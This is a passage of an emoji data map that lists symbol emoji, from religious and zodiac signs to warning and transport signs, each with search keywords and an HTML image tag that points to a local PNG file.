  heart_decoration: {
    keywords: [ "purple-square", "love", "like" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc9f" src="1f49f.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  peace_symbol: {
    keywords: [ "hippie" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u262e" src="262e.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  latin_cross: {
    keywords: [ "christianity" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u271d" src="271d.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  star_and_crescent: {
    keywords: [ "islam" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u262a" src="262a.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  om: {
    keywords: [ "hinduism", "buddhism", "sikhism", "jainism" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd49" src="1f549.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  wheel_of_dharma: {
    keywords: [ "hinduism", "buddhism", "sikhism", "jainism" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2638" src="2638.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  star_of_david: {
    keywords: [ "judaism" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2721" src="2721.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  six_pointed_star: {
    keywords: [ "purple-square", "religion", "jewish", "hexagram" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd2f" src="1f52f.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  menorah: {
    keywords: [ "hanukkah", "candles", "jewish" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd4e" src="1f54e.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  yin_yang: {
    keywords: [ "balance" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u262f" src="262f.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  orthodox_cross: {
    keywords: [ "suppedaneum", "religion" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2626" src="2626.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  place_of_worship: {
    keywords: [ "religion", "church", "temple", "prayer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uded0" src="1f6d0.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  ophiuchus: {
    keywords: [ "sign", "purple-square", "constellation", "astrology" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26ce" src="26ce.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  aries: {
    keywords: [ "sign", "purple-square", "zodiac", "astrology" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2648" src="2648.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  taurus: {
    keywords: [ "purple-square", "sign", "zodiac", "astrology" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2649" src="2649.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  gemini: {
    keywords: [ "sign", "zodiac", "purple-square", "astrology" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u264a" src="264a.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  cancer: {
    keywords: [ "sign", "zodiac", "purple-square", "astrology" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u264b" src="264b.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  leo: {
    keywords: [ "sign", "purple-square", "zodiac", "astrology" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u264c" src="264c.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  virgo: {
    keywords: [ "sign", "zodiac", "purple-square", "astrology" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u264d" src="264d.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  libra: {
    keywords: [ "sign", "purple-square", "zodiac", "astrology" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u264e" src="264e.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  scorpius: {
    keywords: [ "sign", "zodiac", "purple-square", "astrology", "scorpio" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u264f" src="264f.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  sagittarius: {
    keywords: [ "sign", "zodiac", "purple-square", "astrology" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2650" src="2650.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  capricorn: {
    keywords: [ "sign", "zodiac", "purple-square", "astrology" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2651" src="2651.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  aquarius: {
    keywords: [ "sign", "purple-square", "zodiac", "astrology" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2652" src="2652.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  pisces: {
    keywords: [ "purple-square", "sign", "zodiac", "astrology" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2653" src="2653.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  id: {
    keywords: [ "purple-square", "words" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd94" src="1f194.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  atom_symbol: {
    keywords: [ "science", "physics", "chemistry" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u269b" src="269b.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u7a7a: {
    keywords: [ "kanji", "japanese", "chinese", "empty", "sky", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude33" src="1f233.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u5272: {
    keywords: [ "cut", "divide", "chinese", "kanji", "pink-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude39" src="1f239.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  radioactive: {
    keywords: [ "nuclear", "danger" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2622" src="2622.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  biohazard: {
    keywords: [ "danger" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2623" src="2623.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  mobile_phone_off: {
    keywords: [ "mute", "orange-square", "silence", "quiet" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf4" src="1f4f4.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  vibration_mode: {
    keywords: [ "orange-square", "phone" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf3" src="1f4f3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u6709: {
    keywords: [ "orange-square", "chinese", "have", "kanji" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude36" src="1f236.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u7121: {
    keywords: [ "nothing", "chinese", "kanji", "japanese", "orange-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude1a" src="1f21a.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u7533: {
    keywords: [ "chinese", "japanese", "kanji", "orange-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude38" src="1f238.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u55b6: {
    keywords: [ "japanese", "opening hours", "orange-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude3a" src="1f23a.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u6708: {
    keywords: [ "chinese", "month", "moon", "japanese", "orange-square", "kanji" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude37\ufe0f" src="1f237.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  eight_pointed_black_star: {
    keywords: [ "orange-square", "shape", "polygon" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2734\ufe0f" src="2734.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  vs: {
    keywords: [ "words", "orange-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd9a" src="1f19a.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  accept: {
    keywords: [ "ok", "good", "chinese", "kanji", "agree", "yes", "orange-circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude51" src="1f251.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_flower: {
    keywords: [ "japanese", "spring" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcae" src="1f4ae.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  ideograph_advantage: {
    keywords: [ "chinese", "kanji", "obtain", "get", "circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude50" src="1f250.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  secret: {
    keywords: [ "privacy", "chinese", "sshh", "kanji", "red-circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u3299\ufe0f" src="3299.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  congratulations: {
    keywords: [ "chinese", "kanji", "japanese", "red-circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u3297\ufe0f" src="3297.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u5408: {
    keywords: [ "japanese", "chinese", "join", "kanji", "red-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude34" src="1f234.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u6e80: {
    keywords: [ "full", "chinese", "japanese", "red-square", "kanji" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude35" src="1f235.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u7981: {
    keywords: [ "kanji", "japanese", "chinese", "forbidden", "limit", "restricted", "red-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude32" src="1f232.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  a: {
    keywords: [ "red-square", "alphabet", "letter" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd70\ufe0f" src="1f170.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  b: {
    keywords: [ "red-square", "alphabet", "letter" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd71\ufe0f" src="1f171.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  ab: {
    keywords: [ "red-square", "alphabet" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd8e" src="1f18e.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  cl: {
    keywords: [ "alphabet", "words", "red-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd91" src="1f191.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  o2: {
    keywords: [ "alphabet", "red-square", "letter" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd7e\ufe0f" src="1f17e.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  sos: {
    keywords: [ "help", "red-square", "words", "emergency", "911" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udd98" src="1f198.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_entry: {
    keywords: [ "limit", "security", "privacy", "bad", "denied", "stop", "circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26d4" src="26d4.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  name_badge: {
    keywords: [ "fire", "forbid" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcdb" src="1f4db.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_entry_sign: {
    keywords: [ "forbid", "stop", "limit", "denied", "disallow", "circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeab" src="1f6ab.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  x: {
    keywords: [ "no", "delete", "remove", "cancel", "red" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u274c" src="274c.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  o: {
    keywords: [ "circle", "round" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b55" src="2b55.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  stop_sign: {
    keywords: [ "stop" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uded1" src="1f6d1.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  anger: {
    keywords: [ "angry", "mad" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca2" src="1f4a2.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  hotsprings: {
    keywords: [ "bath", "warm", "relax" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2668\ufe0f" src="2668.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_pedestrians: {
    keywords: [ "rules", "crossing", "walking", "circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb7" src="1f6b7.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  do_not_litter: {
    keywords: [ "trash", "bin", "garbage", "circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeaf" src="1f6af.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_bicycles: {
    keywords: [ "cyclist", "prohibited", "circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb3" src="1f6b3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  "non-potable_water": {
    keywords: [ "drink", "faucet", "tap", "circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb1" src="1f6b1.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  underage: {
    keywords: [ "18", "drink", "pub", "night", "minor", "circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd1e" src="1f51e.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_mobile_phones: {
    keywords: [ "iphone", "mute", "circle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf5" src="1f4f5.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  exclamation: {
    keywords: [ "heavy_exclamation_mark", "danger", "surprise", "punctuation", "wow", "warning" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2757" src="2757.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  grey_exclamation: {
    keywords: [ "surprise", "punctuation", "gray", "wow", "warning" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2755" src="2755.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  question: {
    keywords: [ "doubt", "confused" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2753" src="2753.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  grey_question: {
    keywords: [ "doubts", "gray", "huh", "confused" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2754" src="2754.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  bangbang: {
    keywords: [ "exclamation", "surprise" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u203c\ufe0f" src="203c.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  interrobang: {
    keywords: [ "wat", "punctuation", "surprise" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2049\ufe0f" src="2049.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  low_brightness: {
    keywords: [ "sun", "afternoon", "warm", "summer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd05" src="1f505.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  high_brightness: {
    keywords: [ "sun", "light" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd06" src="1f506.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  trident: {
    keywords: [ "weapon", "spear" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd31" src="1f531.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  fleur_de_lis: {
    keywords: [ "decorative", "scout" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u269c" src="269c.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  part_alternation_mark: {
    keywords: [ "graph", "presentation", "stats", "business", "economics", "bad" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u303d\ufe0f" src="303d.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  warning: {
    keywords: [ "exclamation", "wip", "alert", "error", "problem", "issue" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26a0\ufe0f" src="26a0.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  children_crossing: {
    keywords: [ "school", "warning", "danger", "sign", "driving", "yellow-diamond" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb8" src="1f6b8.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  beginner: {
    keywords: [ "badge", "shield" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd30" src="1f530.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  recycle: {
    keywords: [ "arrow", "environment", "garbage", "trash" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u267b\ufe0f" src="267b.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  u6307: {
    keywords: [ "chinese", "point", "green-square", "kanji" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude2f" src="1f22f.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  chart: {
    keywords: [ "green-square", "graph", "presentation", "stats" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb9" src="1f4b9.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  sparkle: {
    keywords: [ "stars", "green-square", "awesome", "good", "fireworks" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2747\ufe0f" src="2747.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  eight_spoked_asterisk: {
    keywords: [ "star", "sparkle", "green-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2733\ufe0f" src="2733.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  negative_squared_cross_mark: {
    keywords: [ "x", "green-square", "no", "deny" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u274e" src="274e.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_check_mark: {
    keywords: [ "green-square", "ok", "agree", "vote", "election", "answer", "tick" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2705" src="2705.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  diamond_shape_with_a_dot_inside: {
    keywords: [ "jewel", "blue", "gem", "crystal", "fancy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca0" src="1f4a0.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  cyclone: {
    keywords: [ "weather", "swirl", "blue", "cloud", "vortex", "spiral", "whirlpool", "spin", "tornado", "hurricane", "typhoon" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf00" src="1f300.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  loop: {
    keywords: [ "tape", "cassette" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u27bf" src="27bf.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  globe_with_meridians: {
    keywords: [ "earth", "international", "world", "internet", "interweb", "i18n" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf10" src="1f310.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  m: {
    keywords: [ "alphabet", "blue-circle", "letter" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u24c2\ufe0f" src="24c2.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  atm: {
    keywords: [ "money", "sales", "cash", "blue-square", "payment", "bank" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfe7" src="1f3e7.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  sa: {
    keywords: [ "japanese", "blue-square", "katakana" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\ude02\ufe0f" src="1f202.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  passport_control: {
    keywords: [ "custom", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udec2" src="1f6c2.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  customs: {
    keywords: [ "passport", "border", "blue-square" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udec3" src="1f6c3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  baggage_claim: {
    keywords: [ "blue-square", "airport", "transport" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udec4" src="1f6c4.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  left_luggage: {
    keywords: [ "blue-square", "travel" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udec5" src="1f6c5.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  wheelchair: {
    keywords: [ "blue-square", "disabled", "a11y", "accessibility" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u267f" src="267f.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_smoking: {
    keywords: [ "cigarette", "blue-square", "smell", "smoke" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udead" src="1f6ad.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  wc: {
    keywords: [ "toilet", "restroom", "blue-square" ],
